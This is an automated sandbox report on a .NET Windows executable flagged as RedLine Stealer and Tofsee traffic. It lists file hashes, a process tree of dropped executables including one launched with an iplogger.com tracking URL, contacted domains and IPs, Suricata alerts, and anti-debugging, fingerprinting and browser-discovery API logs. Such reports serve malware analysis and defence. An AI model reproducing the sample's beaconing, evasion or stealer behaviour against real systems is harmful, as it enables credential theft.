Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	June 29, 2023, 5:01 p.m.	June 29, 2023, 5:05 p.m.

Size	1.9MB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`0afd8fcf4215d384ac328f01125c3d5c`
SHA256	`94ae480fad3a5edf43781bb4a357f95147c67cfd8ac71fc3540f61d0931c5376`
CRC32	`D49F6DF5`
ssdeep	`24576:8qYc24Y+xbJXOHip5v8XoodQmhj/l0ZdHvdHdq/UIXmT4l:m4Ye0icoonidPdHd5IXpl`
PDB Path	scince4criminal_simulator.pdb
Yara	Is_DotNET_EXE - (no description) PE_Header_Zero - PE File Signature IsPE32 - (no description)

Bar0628.exe "C:\Users\test22\AppData\Local\Temp\Bar0628.exe"
316
- MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"
  2456
  - MI0E02BFFGA0HD4.exe "C:\Users\test22\AppData\Local\Temp\MI0E02BFFGA0HD4.exe"
    2596
    - MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"
      2856
  - O4MC25ELG66M9J2.exe "C:\Users\test22\AppData\Local\Temp\O4MC25ELG66M9J2.exe"
    2652
  - CBAFH1460LH2BDF.exe https://iplogger.com/12waJ4
    2732

Name	Response	Post-Analysis Lookup
iplogger.com	A 148.251.234.93	148.251.234.93
dzen.ru	A 62.217.160.2	62.217.160.2
tokoi45.beget.tech	A 5.101.152.100	5.101.152.100
yandex.ru	A 5.255.255.77 A 77.88.55.88 A 77.88.55.60 A 5.255.255.70	77.88.55.60
sso.passport.yandex.ru	A 213.180.204.24 CNAME passport.yandex.ru	213.180.204.24
formacioncontinua.com.mx	A 66.225.201.117	66.225.201.117

IP Address	Status	Action
148.251.234.93	Active	Moloch
164.124.101.2	Active	Moloch
168.119.239.218	Active	Moloch
213.180.204.24	Active	Moloch
5.101.152.100	Active	Moloch
62.217.160.2	Active	Moloch
66.225.201.117	Active	Moloch
77.88.55.88	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 66.225.201.117:80 -> 192.168.56.103:49170	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 66.225.201.117:80 -> 192.168.56.103:49171	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 192.168.56.103:49177 -> 77.88.55.88:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49180 -> 62.217.160.2:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49186 -> 148.251.234.93:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 148.251.234.93:443 -> 192.168.56.103:49187	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.103:49185 -> 148.251.234.93:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49181 -> 213.180.204.24:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49184 -> 168.119.239.218:36938	2043233	ET MALWARE RedLine Stealer TCP CnC net.tcp Init	A Network Trojan was detected

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.103:49177 77.88.55.88:443	C=BE, O=GlobalSign nv-sa, CN=GlobalSign ECC OV SSL CA 2018	C=RU, ST=Moscow, L=Moscow, O=Yandex LLC, CN=*.xn--d1acpjx3f.xn--p1ai	e4:ba:b2:7f:bf:93:b8:22:10:26:70:37:9c:03:1a:9d:fb:23:17:24
TLSv1 192.168.56.103:49180 62.217.160.2:443	C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018	C=RU, ST=Moscow, L=Moscow, O=VK LLC, CN=*.dzen.ru	6a:31:14:29:60:07:c9:c6:17:7b:d1:27:ad:53:57:ec:d8:c1:d8:d2
TLSv1 192.168.56.103:49181 213.180.204.24:443	C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018	C=RU, ST=Moscow, L=Moscow, O=Yandex LLC, CN=sso.passport.yandex.ru	f0:52:26:54:41:65:2b:6a:37:7b:c1:5b:de:9c:e9:d4:41:c6:81:2d

Queries for the computername (12 events)

Time & API	Arguments	Status	Return
GetComputerNameW June 29, 2023, 5:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 29, 2023, 5:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 29, 2023, 5:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 29, 2023, 5:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 29, 2023, 5:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 29, 2023, 5:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 29, 2023, 5:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 29, 2023, 5:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 29, 2023, 5:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 29, 2023, 5:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 29, 2023, 5:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 29, 2023, 5:02 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (10 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent June 29, 2023, 5:01 p.m.			0	0
IsDebuggerPresent June 29, 2023, 5:01 p.m.			0	0
IsDebuggerPresent June 29, 2023, 5:02 p.m.			0	0
IsDebuggerPresent June 29, 2023, 5:02 p.m.			0	0
IsDebuggerPresent June 29, 2023, 5:02 p.m.			0	0
IsDebuggerPresent June 29, 2023, 5:02 p.m.			0	0
IsDebuggerPresent June 29, 2023, 5:02 p.m.			0	0
IsDebuggerPresent June 29, 2023, 5:02 p.m.			0	0
IsDebuggerPresent June 29, 2023, 5:02 p.m.			0	0
IsDebuggerPresent June 29, 2023, 5:02 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (12 events)

Time & API	Arguments	Status	Return
CryptExportKey June 29, 2023, 5:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056fae8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 29, 2023, 5:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056fae8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 29, 2023, 5:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056fb68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 29, 2023, 5:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056ff28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 29, 2023, 5:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056ffa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 29, 2023, 5:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056ffa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 29, 2023, 5:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056ffa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 29, 2023, 5:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056ffa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 29, 2023, 5:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056ffa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 29, 2023, 5:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005700e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 29, 2023, 5:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005700e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 29, 2023, 5:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056fee8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

This executable has a PDB path (1 event)

pdb_path

scince4criminal_simulator.pdb

Tries to locate where the browsers are installed (3 events)

file	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
file	C:\Program Files\Mozilla Firefox\firefox.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 29, 2023, 5:01 p.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.sdata

The file contains an unknown PE resource name possibly indicative of a packer (4 events)

resource name	PNG
resource name	REGISTRY
resource name	TYPELIB
resource name	None

One or more processes crashed (17 events)

Time & API	Arguments	Status
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: o4mc25elg66m9j2+0x494471 @ 0x1534471 o4mc25elg66m9j2+0x4bcfda @ 0x155cfda exception.instruction_r: c9 c2 10 00 cc cc cc cc cc e9 72 fc c8 8b 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xc000008e exception.offset: 46887 exception.address: 0x7559b727 registers.esp: 3274656 registers.edi: 18726912 registers.eax: 3274656 registers.ebp: 3274736 registers.edx: 2130566132 registers.ebx: 0 registers.esi: 2006021163 registers.ecx: 2561277952	1
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: exception.instruction_r: ed e9 f5 ca 01 00 c3 e9 99 86 01 00 20 73 c2 c5 exception.symbol: o4mc25elg66m9j2+0x4d4df8 exception.instruction: in eax, dx exception.module: O4MC25ELG66M9J2.exe exception.exception_code: 0xc0000096 exception.offset: 5066232 exception.address: 0x1574df8 registers.esp: 3274776 registers.edi: 20597567 registers.eax: 1750617430 registers.ebp: 18726912 registers.edx: 2130532438 registers.ebx: 0 registers.esi: 13 registers.ecx: 20	1
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: exception.instruction_r: ed e9 6c dc ff ff ae 15 d7 80 cd e3 ff d0 9c 68 exception.symbol: o4mc25elg66m9j2+0x4e2ca0 exception.instruction: in eax, dx exception.module: O4MC25ELG66M9J2.exe exception.exception_code: 0xc0000096 exception.offset: 5123232 exception.address: 0x1582ca0 registers.esp: 3274776 registers.edi: 20597567 registers.eax: 1447909480 registers.ebp: 18726912 registers.edx: 22104 registers.ebx: 2256917605 registers.esi: 13 registers.ecx: 10	1
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: 0x625052 0x624fd5 0x621199 0x620e26 0x620076 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72fa74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72fa7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73031dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73031e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73031f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7303416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x745df5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74867f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74864de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 8b d0 85 c0 75 06 8b 15 2c exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x6250e1 registers.esp: 1634676 registers.edi: 42619692 registers.eax: 0 registers.ebp: 1634700 registers.edx: 5578560 registers.ebx: 42570480 registers.esi: 42619872 registers.ecx: 0	1
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: 0x62dc3c 0x62db9b 0x62d5c4 0x62d004 0x6256d8 0x6211be 0x620e26 0x620076 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72fa74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72fa7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73031dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73031e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73031f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7303416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x745df5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74867f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74864de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f 3d fe ff ff eb 11 e8 df exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x62ded7 registers.esp: 1634356 registers.edi: 44719702 registers.eax: 44516948 registers.ebp: 1634420 registers.edx: 0 registers.ebx: 44516948 registers.esi: 4204814 registers.ecx: 0	1
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: 0x62dc3c 0x62dbb8 0x62d5c4 0x62d004 0x6256d8 0x6211be 0x620e26 0x620076 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72fa74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72fa7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73031dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73031e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73031f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7303416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x745df5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74867f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74864de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f 3d fe ff ff eb 11 e8 df exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x62ded7 registers.esp: 1634356 registers.edi: 47011994 registers.eax: 46809308 registers.ebp: 1634420 registers.edx: 0 registers.ebx: 46809308 registers.esi: 4204814 registers.ecx: 0	1
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: 0x62dc3c 0x62dbb8 0x62d5c4 0x62d004 0x6256d8 0x6211be 0x620e26 0x620076 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72fa74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72fa7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73031dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73031e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73031f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7303416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x745df5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74867f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74864de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f 3d fe ff ff eb 11 e8 df exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x62ded7 registers.esp: 1634356 registers.edi: 43523018 registers.eax: 43320332 registers.ebp: 1634420 registers.edx: 0 registers.ebx: 43320332 registers.esi: 4204814 registers.ecx: 0	1
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: 0x55808e9 0x62d754 0x62d004 0x6256d8 0x6211be 0x620e26 0x620076 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72fa74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72fa7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73031dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73031e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73031f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7303416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x745df5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74867f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74864de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f b8 fe ff ff eb 1f c7 45 exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x5580b49 registers.esp: 1634380 registers.edi: 45124104 registers.eax: 44884208 registers.ebp: 1634436 registers.edx: 0 registers.ebx: 44884208 registers.esi: 4203284 registers.ecx: 0	1
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: 0x55808e9 0x62d754 0x62d004 0x6256d8 0x6211be 0x620e26 0x620076 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72fa74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72fa7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73031dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73031e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73031f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7303416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x745df5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74867f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74864de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f b8 fe ff ff eb 1f c7 45 exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x5580b49 registers.esp: 1634380 registers.edi: 44139016 registers.eax: 43899120 registers.ebp: 1634436 registers.edx: 0 registers.ebx: 43899120 registers.esi: 4203284 registers.ecx: 0	1
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: 0x55808e9 0x62d754 0x62d004 0x6256d8 0x6211be 0x620e26 0x620076 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72fa74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72fa7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73031dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73031e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73031f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7303416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x745df5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74867f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74864de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f b8 fe ff ff eb 1f c7 45 exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x5580b49 registers.esp: 1634380 registers.edi: 45576236 registers.eax: 45336340 registers.ebp: 1634436 registers.edx: 0 registers.ebx: 45336340 registers.esi: 4203284 registers.ecx: 0	1
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: 0x5580cb9 0x62d7ef 0x62d004 0x6256d8 0x6211be 0x620e26 0x620076 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72fa74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72fa7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73031dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73031e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73031f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7303416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x745df5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74867f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74864de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f 78 fe ff ff eb 16 e8 6b exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x5580f4b registers.esp: 1634376 registers.edi: 46976416 registers.eax: 0 registers.ebp: 1634436 registers.edx: 0 registers.ebx: 46682392 registers.esi: 4202576 registers.ecx: 0	1
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: 0x5580cb9 0x62d7ef 0x62d004 0x6256d8 0x6211be 0x620e26 0x620076 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72fa74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72fa7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73031dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73031e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73031f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7303416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x745df5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74867f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74864de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f 78 fe ff ff eb 16 e8 6b exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x5580f4b registers.esp: 1634376 registers.edi: 48368752 registers.eax: 0 registers.ebp: 1634436 registers.edx: 0 registers.ebx: 48074728 registers.esi: 4202576 registers.ecx: 0	1
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: 0x5580cb9 0x62d7ef 0x62d004 0x6256d8 0x6211be 0x620e26 0x620076 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72fa74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72fa7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73031dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73031e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73031f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7303416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x745df5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74867f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74864de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f 78 fe ff ff eb 16 e8 6b exception.instruction: mov eax, dword ptr 